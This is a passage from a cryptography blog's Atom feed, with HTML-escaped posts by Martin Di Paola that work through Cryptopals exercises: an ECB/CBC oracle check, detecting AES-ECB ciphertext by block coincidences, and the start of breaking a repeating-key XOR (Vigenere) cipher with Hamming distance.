&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;encryption_oracle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;choosen_partial_plaintext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;is_ecb&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nblocks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;has_duplicates&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;distance&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;enc_mode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;ecb&amp;#39;&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;is_ecb&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;cbc&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;enc_mode&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;enc_mode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="c1"&gt;# is the same that the secret cfg chose?&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Fail&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;break&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="break-it"&gt;Break it!&lt;/h2&gt;
&lt;p&gt;Of course, &lt;a href="/articles/2018/06/10/Breaking-ECB.html"&gt;keep reading.&lt;/a&gt;&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2018/06/09/ECB-CBC-Oracle.html" rel="alternate" type="text/html" title="ECB/CBC Oracle"/>
    <category term="cryptography" label="cryptography"/>
    <category term="matasano" label="matasano"/>
    <category term="cryptonita" label="cryptonita"/>
    <category term="ECB" label="ECB"/>
    <category term="CBC" label="CBC"/>
    <category term="oracle PKCS#7" label="oracle PKCS#7"/>
    <published>2018-06-09T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2018/05/20/Detecting-Penguins.html</id>
    <title>Detecting Penguins</title>
    <updated>2018-05-20T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
The ECB encrypted image on the right and its plaintext original version on the left. Image taken from &lt;a href="https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation"&gt;wikipedia&lt;/a&gt;.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/matasano/tux.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;label for='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;strong&gt;– Spoiler Alert! –&lt;/strong&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Can you see the penguin?&lt;/p&gt;
&lt;!--more--&gt;
&lt;h2 id="warming-up"&gt;Warming up&lt;/h2&gt;
&lt;p&gt;The following ciphertext was encrypted with AES in &lt;a href="https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation"&gt;Electronic Codebook mode (ECB)&lt;/a&gt; with the given key.&lt;/p&gt;
&lt;p&gt;In ECB each plaintext block is encrypted using the same key.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img style="max-width: 60%;" class='' alt='' src='/img/matasano/ecb-enc.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Decrypting is a piece of cake; this is just to get practice about &lt;a href="https://cryptopals.com/sets/1/challenges/7"&gt;AES in ECB mode&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;load_bytes&lt;/span&gt;     &lt;span class="c1"&gt;# byexample: +timeout=10&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;./posts/matasano/assets/7.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;blocks&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nblocks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;YELLOW SUBMARINE&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Crypto.Cipher&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MODE_ECB&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;blocks&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;I&amp;#39;m back and I&amp;#39;m ringin&amp;#39; the bell&amp;lt;...&amp;gt;Play that funky music &lt;/span&gt;&lt;span class="se"&gt;\n\x04\x04\x04\x04&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Note how to encryption/decryption of one block don’t depend of any other: this allows the encryption/decryption to be at random places and in parallel.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img style="max-width: 60%;" class='' alt='' src='/img/matasano/ecb-dec.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="detecting-penguins"&gt;Detecting Penguins&lt;/h2&gt;
&lt;p&gt;If two plaintext &lt;em&gt;blocks&lt;/em&gt; are the same, ECB will encrypt them to the &lt;em&gt;same&lt;/em&gt; ciphertext block.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://cryptopals.com/sets/1/challenges/8"&gt;Detecting AES in ECB mode&lt;/a&gt; from a pool of random strings is therefore trivial: if the plaintext has two or more equal blocks, the ciphertext will have the same blocks repeated, something &lt;strong&gt;unlikely for a truly random string&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;We can use the same technique done in &lt;a href="/articles/2018/04/01/A-string-of-coincidences-is-not-a-coincidence.html"&gt;the previous post&lt;/a&gt; for detecting coincidences.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ciphertexts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;load_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;./posts/matasano/assets/8.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.metrics&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;icoincidences&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;icoincidences&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ciphertexts&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores_and_indexes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;scores&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores_and_indexes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores_and_indexes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt; &lt;span class="c1"&gt;# higher values, less random&lt;/span&gt;
&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="mf"&gt;0.00526729&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;92&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.00526729&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;173&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.01305031&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;132&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;IC - Byte sequence&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;scores&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Instead of working at the byte level, we can work with blocks: a coincidence of two or more blocks is much less likely to be random than a coincidence of two or more bytes:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;icoincidences&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nblocks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ciphertexts&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores_and_indexes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;scores&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores_and_indexes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scores_and_indexes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt; &lt;span class="c1"&gt;# higher values, less random&lt;/span&gt;
&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="mf"&gt;0.133333333&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;132&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;IC - Nblocks sequence&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;scores&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Scores by method.
&lt;br /&gt;&lt;br /&gt;
For the &lt;code class="none"&gt;Nblocks&lt;/code&gt; method, the size of the block is of 16 bytes.
&lt;br /&gt;&lt;br /&gt;
Note how the Index of Coincidence (IC) detects the non-random ciphertext in both cases but it is much clearer when the IC is computed on 16-bytes blocks.
&lt;br /&gt;&lt;br /&gt;
This is because ECB encrypts to the same cipher block when the plain blocks are the same.
&lt;br /&gt;&lt;br /&gt;
Other vulnerable encryption modes will not be as easily detectable however.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 100%;" class='' align='middle' data='/img/matasano/score_pinguins.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;!--
&gt;&gt;&gt; import sys
&gt;&gt;&gt; sys.path.append("./z/py/plotting")

&gt;&gt;&gt; from plotting import plt, show                      # byexample: +timeout=10
&gt;&gt;&gt; import pandas as pd                                 # byexample: +timeout=10

&gt;&gt;&gt; methods = pd.DataFrame(methods)

&gt;&gt;&gt; def min_max_normalizer(c):
...     return (c - c.min()) / (c.max() - c.min())

&gt;&gt;&gt; methods = methods.apply(min_max_normalizer, axis=0)

&gt;&gt;&gt; with show(save='./posts/matasano/score_pinguins.svg', columns = 2, transparent = True): # byexample: +timeout=600 +skip
...     axes = methods.plot(style='o', subplots=True, layout=(2, 1))
...
...     _ = [ax.vlines(132, 0, 1, linestyles='dashed') for ax in axes.flat]
--&gt;
&lt;h3 id="broken"&gt;Broken?&lt;/h3&gt;
&lt;p&gt;Well, distinguishing a encryption from a random string is enough to considere a cipher broken, but trying to get the plaintext from it is another level.&lt;/p&gt;
&lt;p&gt;The 132th plaintext will still be a secret, for now.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2018/05/20/Detecting-Penguins.html" rel="alternate" type="text/html" title="Detecting Penguins"/>
    <category term="cryptography" label="cryptography"/>
    <category term="matasano" label="matasano"/>
    <category term="cryptonita" label="cryptonita"/>
    <category term="ECB" label="ECB"/>
    <category term="electronic code block" label="electronic code block"/>
    <published>2018-05-20T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2018/05/01/Breaking-Vigenere.html</id>
    <title>Breaking Vigenere</title>
    <updated>2018-05-01T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;A plaintext was encrypted via a XOR with key of unknown bytes of length, repeating this key as much as needed to cover the full length of the plaintext.&lt;/p&gt;
&lt;p&gt;This is also known as the &lt;a href="https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher"&gt;Vigenere cipher&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It is 101 cipher, which it is easy to break in theory, but it has more than one challenge hidden to be resolve in the practice.&lt;/p&gt;
&lt;p&gt;&lt;label for='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;strong&gt;– Spoiler Alert! –&lt;/strong&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Shall we?&lt;/p&gt;
&lt;!--more--&gt;
&lt;h2 id="hamming-distance-at-bit-level"&gt;Hamming distance (at bit level)&lt;/h2&gt;
&lt;p&gt;Given two messages of the same length, the &lt;a href="https://en.wikipedia.org/wiki/Hamming_distance"&gt;Hamming Distance&lt;/a&gt; consists in counting how many bits one differ of the other.&lt;/p&gt;
&lt;p&gt;In other words, we do an xor between the messages and count how many ones we get.&lt;/p&gt;
$$\mbox{count-1-bits} \left( c_1 ⊕ c_2 \right) \rightarrow \mbox{hamming-distance} \left( c_1, c_2 \right)$$
&lt;p&gt;Here is an example:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;                &lt;span class="c1"&gt;# byexample: +timeout=10&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;this is a test&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hamming_distance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;wokka wokka!!!&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="mi"&gt;37&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="guessing-the-length-of-the-key"&gt;Guessing the length of the key&lt;/h2&gt;
&lt;p&gt;We will compute the Hamming distance between blocks of different lengths.&lt;/p&gt;
&lt;p&gt;Most of the case we will be computing the distance between 2 random ciphertext blocks.&lt;/p&gt;
$$\begin{align*}  \\
c_1 ⊕ c_2 &amp; = \left( p_1 ⊕ k_i \right)  ⊕ \left( p_2 ⊕ k_j \right)  \\
          &amp; = \left( p_1 ⊕ p_2 \right)  ⊕ \left( k_i ⊕ k_j \right)
\end{align*}$$
&lt;p&gt;But if we hit the length of the key, \(k_i = k_j\) and the xor of 2 ciphertext blocks will cancel out the random bits from the key exposing the xor of 2 plaintext blocks.&lt;/p&gt;
$$\begin{align*}  \\
c_1 ⊕ c_2 &amp; = \left( p_1 ⊕ k_i \right)  ⊕ \left( p_2 ⊕ k_j \right)  \\
          &amp; = \left( p_1 ⊕ p_2 \right)  ⊕ \left( k_i ⊕ k_j \right)  \\
          &amp; = \left( p_1 ⊕ p_2 \right)
\end{align*}$$
&lt;p&gt;The idea is that the Hamming distance of them will be significantly shorter.&lt;/p&gt;
&lt;p&gt;&lt;label for='PG9iamVjdCAgY2xhc3M9J2Z1bGx3aWR0aCcgYWxpZ249J21pZGRsZScgZGF0YT0nL2ltZy9tYXRhc2Fuby9oYW1taW5nMS5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0PgpDb21wdXRlIHRoZSBIYW1taW5nIGRpc3RhbmNlIGJldHdlZW4gY29uc2VjdXRpdmUgYmxvY2tzIG9mIHRoZSBzYW1lCmxlbmd0aCBhbmQgdGFrZXMgdGhlIG1heGltdW0uIFRoZW4gc2NvcmVzIGl0LgoKU2NvcmVzIGNsb3NlciB0byAxCm1lYW5zIHNtYWxsZXIgZGlzdGFuY2VzIGFuZCB0aGVyZWZvcmUgdGhlIGJsb2NrcyBvZiBjaXBoZXJ0ZXh0IGxvb2tzCnRoYXQgd2VyZSB4b3InZCB3aXRoICp0aGUgc2FtZSBrZXkqIGFzIHRoZSB4b3Igb2YgdHdvIGJsb2NrcyBsb29rcwoqbGVzcyByYW5kb20qLgoKU2NvcmVzIGNsb3NlciB0byAwIGFyZSB0aGUgb3Bwb3NpdGU6IHRoZSB4b3Igb2YgdHdvIGJsb2NrcyBzdGlsbCBsb29rcwpyYW5kb20uCm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCAgY2xhc3M9J2Z1bGx3aWR0aCcgYWxpZ249J21pZGRsZScgZGF0YT0nL2ltZy9tYXRhc2Fuby9oYW1taW5nMS5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0PgpDb21wdXRlIHRoZSBIYW1taW5nIGRpc3RhbmNlIGJldHdlZW4gY29uc2VjdXRpdmUgYmxvY2tzIG9mIHRoZSBzYW1lCmxlbmd0aCBhbmQgdGFrZXMgdGhlIG1heGltdW0uIFRoZW4gc2NvcmVzIGl0LgoKU2NvcmVzIGNsb3NlciB0byAxCm1lYW5zIHNtYWxsZXIgZGlzdGFuY2VzIGFuZCB0aGVyZWZvcmUgdGhlIGJsb2NrcyBvZiBjaXBoZXJ0ZXh0IGxvb2tzCnRoYXQgd2VyZSB4b3InZCB3aXRoICp0aGUgc2FtZSBrZXkqIGFzIHRoZSB4b3Igb2YgdHdvIGJsb2NrcyBsb29rcwoqbGVzcyByYW5kb20qLgoKU2NvcmVzIGNsb3NlciB0byAwIGFyZSB0aGUgb3Bwb3NpdGU6IHRoZSB4b3Igb2YgdHdvIGJsb2NrcyBzdGlsbCBsb29rcwpyYW5kb20uCm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object  class='fullwidth' align='middle' data='/img/matasano/hamming1.svg' type='image/svg+xml'&gt;&lt;/object&gt;
Compute the Hamming distance between consecutive blocks of the same length and takes the maximum. Then scores it.
&lt;br /&gt;&lt;br /&gt;
